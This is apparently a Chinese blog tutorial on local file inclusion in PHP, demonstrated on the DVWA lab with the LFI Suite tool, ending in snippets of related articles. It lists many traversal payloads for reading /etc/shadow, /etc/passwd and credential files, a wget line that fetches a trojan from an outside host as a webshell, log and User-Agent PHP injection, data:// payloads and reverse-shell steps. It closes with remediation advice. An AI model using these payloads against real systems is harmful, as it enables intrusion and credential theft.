浅谈本地文件包含利用

今天在公众号看到了一个本地文件包含的利用工具,看了下国外大牛对该工具的使用的一个视频,感觉很厉害,通过该工具可对存在本地文件包含漏洞的站点进行利用并返回一个LFI shell,通过返回的LFI shell再次获取一个反向连接,从而可执行相关命令,以前对本地文件包含的利用大多都停留在读取文件,如果有远程文件包含的话就可以getshell。这篇文章主要是对本地文件包含的一个简单介绍及利用,主要是对工具的使用,也主要是记录下该过程,方便以后查看,然后再抽时间研究下大神源代码!大神请绕道而行!: )

0x01   文件包含漏洞原理

文件包含漏洞主要是程序员把一些公用的代码写在一个单独的文件中,然后使用其他文件进行包含调用,如果需要包含的文件是使用硬编码的,那么一般是不会出现安全问题,但是有时可能不确定需要包含哪些具体文件,所以就会采用变量的形式来传递需要包含的文件,但是在使用包含文件的过程中,未对包含的变量进行检查及过滤,导致外部提交的恶意数据作为变量进入到了文件包含的过程中,从而导致提交的恶意数据被执行。而文件包含通常分为本地文件包含(Local File Inclusion)和远程文件包含(Remote File Inclusion)。allow_url_fopen和 allow_url_include为0n的情况认为是远程文件包含漏洞,allow_url_fopen为off和 allow_url_include为0n为本地文件包含漏洞,如图1 配置文件所示。本次主要是利用本地文件包含,所以将allow_url_fopen设置为了off。

图1   php.ini配置

另外文件包含漏洞主要涉及到的危险函数主要是四个:include(),require()和include_once(),require_once()。

include():执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行。

require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本。

include_once()和require_once():若文件中代码已被包含则不会再次包含。(来自简书

0x02   文件包含漏洞危害

通过文件包含漏洞,可以读取系统中的敏感文件,源代码文件等,如密码文件,通过对密码文件进行暴力破解,若破解成功则可获取操作系统的用户账户,甚至可通过开放的远程连接服务进行连接控制;另外文件包含漏洞还可能导致执行任意代码,不管本地文件包含还是远程文件包含!

总之,常见的利用方法有以下三点:

一、读取目标主机上的其他文件,主要是本地文件包含。

二、包含可运行的网页木马,主要是远程文件包含,前提是"allow_url_fopen"是激活的(默认是激活的,没几个人会修改)。

三、包含一个创建文件的相应代码文件,因为通过文件包含漏洞获取的shell不是长久的,如果这个漏洞修补了,那么shell也不存在了,因此需要创建一个真实的shell。我们可以先包含一个可以执行cmd的伪shell,然后使用wget加-O参数(类似:

http://x.x.x.x/index.php?page=http://www.1ster.cn/cmd.txt?cmd=wgethttp://x.x.x.x/muma.txt -O muma.php)获取一个真正的webshell。如果系统中没有wget命令,获取目录不可写,那么我们可以包含一个创建文件的脚本,然后通过脚本上传木马文件。

其实除了以上三点外,应该还有一点就是执行任意命令!

0x03   实验环境

本次实验环境主要是利用dvwa平台进行演示,如图2所示。DVWA(Damn Vulnerable Web Application)是用PHP+mysql编写的一套web漏洞平台,说简单点就是所谓的网站漏洞靶机,该平台包含了SQL注入、XSS、本地文件包含、命令执行等一些常见的web安全漏洞,并且该平台是开源的,可以从官网直接下载。

图2   dvwa平台

0x04   本地文件包含利用工具

本次主要使用的是LFI SUIT本地文件包含利用工具,是一款用python2.7编写的神器,该适用于Windows,Linux 和 OS X,并且首次使用会自动配置,自动安装需要的模块,该工具提供了九种不同的文件包含攻击模块,如图3所示。另外当你通过一个可利用的攻击获取到一个LFI shell后,你可以通过输入“reverseshell”命令轻易地获得一个反向shell。但是前提是你必须让你的系统监听反向连接,比如使用“nc –lvp port”。

图3   九种不同的文件包含攻击模块

0x05   本地文件包含读取文件

在之前的本地文件包含漏洞中,大多数都是进行读取文件,如linux下的密码文件(../../../../etc/shadow以及../../../../etc/passwd),获取读取一些你知道物理路径的一些文件,如图4所示。

图4   读取已知路径下的文件

以下是一些简单的测试用例,根据实际情况进行适当的修改。在神器的目录下也包含了很多测试用例,可自行查看!

../../tomcat/conf/tomcat-users.xml
../
%2e%2e%2f whichtranslates to ../
%2e%2e/ whichtranslates to ../
..%2f whichtranslates to ../
%2e%2e%5c whichtranslates to ..%c1%1c
%c0%9v
%c0%af
..%5c../
../../../../../../../../../../../../etc/hosts%00
../../../../../../../../../../../../etc/hosts
../../boot.ini
/../../../../../../../../%2A
../../../../../../../../../../../../etc/passwd%00
../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../etc/shadow%00
../../../../../../../../../../../../etc/shadow
/../../../../../../../../../../etc/passwd^^
/../../../../../../../../../../etc/shadow^^
/../../../../../../../../../../etc/passwd
/../../../../../../../../../../etc/shadow
/./././././././././././etc/passwd
/./././././././././././etc/shadow
\..\..\..\..\..\..\..\..\..\..\etc\passwd
\..\..\..\..\..\..\..\..\..\..\etc\shadow
..\..\..\..\..\..\..\..\..\..\etc\passwd
..\..\..\..\..\..\..\..\..\..\etc\shadow
/..\../..\../..\../..\../..\../..\../etc/passwd
/..\../..\../..\../..\../..\../..\../etc/shadow
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
.\\./.\\./.\\./.\\./.\\./.\\./etc/shadow
\..\..\..\..\..\..\..\..\..\..\etc\passwd%00
\..\..\..\..\..\..\..\..\..\..\etc\shadow%00
..\..\..\..\..\..\..\..\..\..\etc\passwd%00
..\..\..\..\..\..\..\..\..\..\etc\shadow%00
%0a/bin/cat%20/etc/passwd
%0a/bin/cat%20/etc/shadow
%00/etc/passwd%00
%00/etc/shadow%00
%00../../../../../../etc/passwd
%00../../../../../../etc/shadow
/../../../../../../../../../../../etc/passwd%00.jpg
/../../../../../../../../../../../etc/passwd%00.html
/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd
/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00
/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%255cboot.ini
/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini
\\'/bin/cat%20/etc/passwd\\'
\\'/bin/cat%20/etc/shadow\\'
../../../../../../../../conf/server.xml
/../../../../../../../../bin/id|
C:/inetpub/wwwroot/global.asa
C:\inetpub\wwwroot\global.asa
C:/boot.ini
C:\boot.ini
../../../../../../../../../../../../localstart.asp%00
../../../../../../../../../../../../localstart.asp
../../../../../../../../../../../../boot.ini%00
../../../../../../../../../../../../boot.ini
/./././././././././././boot.ini
/../../../../../../../../../../../boot.ini%00
/../../../../../../../../../../../boot.ini
/..\../..\../..\../..\../..\../..\../boot.ini
/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini
\..\..\..\..\..\..\..\..\..\..\boot.ini
..\..\..\..\..\..\..\..\..\..\boot.ini%00
..\..\..\..\..\..\..\..\..\..\boot.ini
/../../../../../../../../../../../boot.ini%00.html
/../../../../../../../../../../../boot.ini%00.jpg
/.../.../.../.../.../
..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bo
../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log    
../apache/logs/error.log    
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log
../../../WEB-INF/web.xml

0x06   神器简单获取LFI shell

运行LFI SUIT工具及选择攻击模块

直接使用pythonlfisuite.py,如图5所示。此时我们选择利用功能模块1.

图5   运行本地文件包含利用工具

设置cookie

在我们选择利用功能模块1后,会提示让我们输入cookie,如图6所示:

图6   设置cookie

获取cookie

浏览器F12console输入document.cookie即可获取到当前cookie,如图7所示。

图7   获取cookie

成功获取LFI shell

输入cookie后,我们随便选择一个攻击模块试试,在此我们选择3,选取攻击模块后,我们输入漏洞地址即可成功获取到一个shell,如图8所示。

图8   成功获取LFI shell

0x07   自动模块获取lfi shell

如果我们不知道那个攻击模块可以返回shell,我们可以选择自动攻击模块。

图9   自动攻击模块

选择之后我们需要选择一个包含路径的文件,我们选择当前目录下的一个文件即可。

图10   选择文件

选择文件后该工具会尝试可能性的路径,并且加以利用。

图11 选择文件

如图12所示,我们成功获取了一个shell。

图12 成功获取shell

0x08   获取一个反向连接

在我们已经获取到的lfishell后,我们可以使用reverseshell来获取一个反向连接,我们先进行监听反向连接,如图13所示。

图13 设置监听反向连接

我们输入reverseshell后设置ip即可

图14 设置ip及端口

此时我们也成功获取到了一个反向连接,如图15所示。

图15  获取到反向连接

0x09   扫描模块

另外我们也可以先使用扫描模块,然后在选择对应的攻击模块也能成功获取到LFI shell。使用方法与上面都是一样的,再次就不再进行描述了。

0x10   攻击模块简单介绍

这里主要是利用PHP的一些函数及伪协议的使用,通过查看PHP帮助文档对这些模块进行复现,与源代码中的利用存在一定的差异,参考文档。由于能力有限,其中两个模块完全失败,/proc/self/fd以及phpinfo模块,看了源代码应该是利用phpinfo的一个注入来上传一个包含PHP的代码,从而进行实现,但是没有利用成功。编程水平太差,谁能救救我!

/proc/self/environ

通过访问http://127.0.0.1/vulnerabilities/fi/?page=../../../../../../../../proc/self/environ查看是否可以包含/proc/self/environ文件,如果返回了环境变量信息则说明可以访问,如果返回为空,那么一般是无法访问。通过判断可以访问后,然后向User-Agent头中注入PHP代码(如<?php system(‘whoami’);?>)进行攻击,如果代码被成功注入到User-Agent头中,通过重新加载环境变量,最后会执行你的PHP代码。由于无法添加该文件的访问权限,因此没有复现成功,另外需要主机是linux!

php://filter

php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流,因此我们可以结合php://input(见下文)来执行PHP代码,如图16,另外也可以将执行后的结果进行base64编码输入,如图17。

图16    php://filter执行PHP代码

图17    php://filter执行PHP代码base64输出

php://input

通过使用php://input然后输入PHP代码,然后就可以进行包含输入的PHP代码,如图18所示,也可以通过PHP代码进行wget一个木马文件,从而可获取一个webshell。但是使用该模块,必须开启包含url功能!

图18    php://input执行PHP代码

/proc/self/fd

不知道如何利用,如果大牛路过,烦请多多指教!

access_log

这里主要是利用日志文件,我们访问的get请求以及User-Agent会记录到日志中,然后就可以构造一句话访问,如图19,也可以写在User-Agent中,通过连接日志文件即可获取到一句话,执行PHP代码,如图20,但是这里需要保证对日志文件有访问权限,并且知道日志文件路劲,否则不能成功,可以先包含日志文件,看有没有内容,如果没有内容一般就是不能访问!

图19   将PHP代码写入到日志中

图20   包含含有PHP代码的日志文件

phpinfo

通过查看源代码,好像是通过phpinfo注入,伪造提交一个含有PHP代码的文件,从而执行PHP代码,尝试了下依旧不成功,哎,,,,,有时间继续研究,路过的你知道的话,请多多指教!

data://

这里主要是使用data://来打印内容,使用base64加密,如<?phpsystem(‘whoami‘);?>进行base64编码,如图21所示,然后使用data://来进行包含PHP代码,data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==,从而可执行PHP代码,如图22。详情请点击此处

图21  对PHP代码进行base64编码

图22  执行PHP代码

expect://

expect://主要是用于处理交互式的流,由 expect:// 封装协议打开的数据流 PTY 提供了对进程 stdio、stdout 和 stderr 的访问。该封装协议默认未开启,为了使用expect:// 封装器,你必须安装PECL 上的Expect 扩展。由于某些原因,此模块也没有复现成功,另外该封装协议默认不开启,所以也没有花时间进行复现了!详情参考

0x11   总结与修复

本文主要是对文件包含做了一个简单的介绍,如文件包含漏洞的简单原理及危害,最重要的是对本地文件包含漏洞的进一步利用,通过本地文件包含漏洞,从而获取到一个反向连接或者是LFI shell。通过本文也让自己对本地文件包含的危害和利用都有了一定的提高,不在是只停留在读取文件上!

通过对该漏洞的利用,最安全的是设置allow_url_fopen和 allow_url_include为0ff,这样就不能利用该漏洞了,另一方面可以做白名单限制,相当于是硬编码,直接把需要包含的文件固定死,这样既不会影响业务,也不会很轻松被利用,其次还是对用户的输入保持怀疑态度,对用户的输入变量进行严格的检查及过滤!

时间: 2024-09-30 01:38:32

浅谈本地文件包含利用的相关文章

phpMyAdmin 4.8.x 本地文件包含漏洞利用

今天ChaMd5安全团队公开了一个phpMyAdmin最新版中的本地文件包含漏洞:phpmyadmin4.8.1后台getshell.该漏洞利用不要求root帐号,只需能够登录 phpMyAdmin 便能够利用. 在这篇文章中我们将使用VulnSpy的在线 phpMyAdmin 环境来演示该漏洞的利用. VulnSpy 在线 phpMyAdmin 环境地址:http://www.vulnspy.com/phpmyadmin-4.8.1/ 漏洞细节 参照ChaMd5安全团队发布的文章:phpmya

渗透测试技术之本地文件包含

概述 通过加强对本地文件包含(LFI)渗透测试技术的研究,可以帮助渗透测试人员和学生在未来的渗透测试过程中,识别和测试LFI漏洞.在Web程序渗透测试中,利用本文中的技术发现的LFI漏洞是渗透测试中的典型漏洞.此外,在本文中提到有一些技术,在CTF大赛中也经常被利用. 什么是本地文件包含(LFI)漏洞? LFI允许攻击者通过浏览器包含一个服务器上的文件.当一个WEB应用程序在没有正确过滤输入数据的情况下,就有可能存在这个漏洞,该漏洞允许攻击者操纵输入数据.注入路径遍历字符.包含web服务器的其他

【转载】PHP本地文件包含和远程文件包含漏洞

远程文件包含(Remote File Inclusion),简称RFI,与其对应的是本地文件包含(Local File Inclusion,LFI),它们都是通过PHP的包含函数即:require(),require_once(),include()和include_once()来使用. 一般情况下,用户通过包含函数将具有特定功能的函数或类包含到当前脚本中,是没有什么问题的.但是有时候,为了方便,需要动态的包含文件,这就会留下一些攻击漏洞. 通常情况下,LFI攻击威胁不大,因为本地服务器上的文件

本地文件包含漏洞(LFI漏洞)

0x00 前言 本文的主要目的是分享在服务器遭受文件包含漏洞时,使用各种技术对Web服务器进行攻击的想法. 我们都知道LFI漏洞允许用户通过在URL中包括一个文件.在本文中,我使用了bWAPP和DVWA两个不同的平台,其中包含文件包含漏洞的演示.通过它我以四种不同的方式执行LFI攻击. 0x01 基本本地文件包含 在浏览器中输入目标IP,并在BWAPP内登录(bee:bug),现在选择bug:remote & local file Inclusion,然后点击hack. 打开具有RFI和LFI漏

本地文件包含被污染的SSH日志GetShell

0x01 前言 我们在渗透测试过程中常常会通过文件包含来getshell,一般会包含恶意代码的图片.污染UA或referer等HTTP头从而包含访问日志等等.这里介绍另外一种包含的方法,通过污染SSH日志的方式. 0x02 SSH日志污染 使用测试环境为ubuntu(10.168.33.174),ssh日志默认是在/var/log/auth.log下,默认其它用户是有read的权限的.然后我们直接执行ssh '<?php system($_GET[c]);?>'@10.168.33.174可以

浅谈本地服务器的搭建(XAMPP)

很多时候我们在开发的时候,需要在线运行我们的程序,这就需要服务器,但是基本很多情况,服务器都是后端在管理的,很多公司的前端是拿不到服务器登录信息的,在这样的情况下,我们就可以在自己的电脑上搭建一个本地服务器,来模拟在线运行的环境. 下面我来讲一下,我比较习惯用的,XAMPP,我选择它的原因是,我偶尔要写点PHP,并且它的安装配置很简单. 下载的官网(https://www.apachefriends.org/zh_cn/index.html) 什么是XAMPP? XAMPP是最流行的PHP开发环

浅谈.htaccess文件--避免滥用.htaccess文件

.htaccess文件提供了一种目录级别的修改配置的方式. NOTE: 如果你拥有修改apache配置文件的权限,那么完全没有必要使用.htaccess文件.使用.htaccess文件会拖慢apache的性能.所有允许出现在.htaccess文件中的配置指令都可以设置在apache配置文件中的Directory块中,不仅拥有相同的作用而且具有更好的性能. .htaccess是什么?如何使用.htaccess文件?.htaccess文件提供了一种目录级别的修改配置的方式.一个文件,包含一条或多条配

浅谈config文件的使用

一.缘起 最近做项目开始使用C#,因为以前一直使用的是C++,因此面向对象思想方面的知识还是比较全面的,反而是因没有经过完整.系统的.Net方面知识的系统学习,经常被一些在C#老鸟眼里几乎是常识的小知识点给绊倒. 为什么这么说呢,因为我在网络上查找的资料的时候,经常大部分问题,都是能够找到或多或少的参考资料,但是这些小知识点却很少能够找到正确的解决方法,有也是只有提问,没有回到,那么这种情况出现,就只有2种解释:1.这个方面的问题很难,难到没有人能够解决:2.这个问题太简单,简单到稍微熟悉的人都

iOS 浅谈本地通知 UILocalNotification

1.创建本地通知 UILocalNotification *local = [[UILocalNotification alloc] init]; 2.设置通知显示的时间 local.fireDate = [NSDate date]; 3.设置默认时区 local.timeZone = [NSTimeZone defaultTimeZone]; 4.设置提示内容 local.alertBody = @JPG下载完成,请即时查看!; 5.这个通知到时间时,你的应用程序右上角显示的数字. local